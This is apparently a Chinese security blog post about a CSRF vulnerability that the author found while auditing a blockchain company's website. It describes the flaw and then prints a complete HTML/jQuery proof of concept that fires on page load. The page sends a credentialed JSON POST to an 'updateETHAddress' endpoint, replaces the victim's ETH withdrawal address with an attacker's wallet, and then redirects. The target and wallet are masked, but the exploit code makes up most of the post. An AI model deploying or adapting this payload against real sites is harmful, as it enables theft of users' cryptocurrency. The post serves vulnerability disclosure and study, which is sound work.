前面帮某区块链公司的官网(市值top100)做安全审计,存在很多问题,其中包括了一个价值的跨站请求伪造CSRF漏洞,可以把打币地址篡改为黑客的钱包地址,从技术来说,有一个比较有价值的点,该网站用ajax提交数据,是application/json格式,很多WEB安全工具都没扫出来(编码格式不对导致错误返回被漏报了),自己写了一个POC完美验证这个问题。下面把POC代码发出来,方面大家研究
<!DOCTYPE html>
<html>
<head>
<script src="jquery.js"></script>
<script>
var submit = function(){
jQuery.ajax({
type: "post",
url: 'https://xxxxxxxxx/*******/updateETHAddress',
async: false,
xhrFields: {
withCredentials: true
},
crossDomain: true,
data: JSON.stringify({
ethWalletAddress: "bPNin7*****************567Jn******",
}),
contentType: "application/json",
dataType: "json",
})
window.location.href='https://xxxxxxxx/index.html';
};
</script>
</head>
<body onload="submit()">
</body>
</html>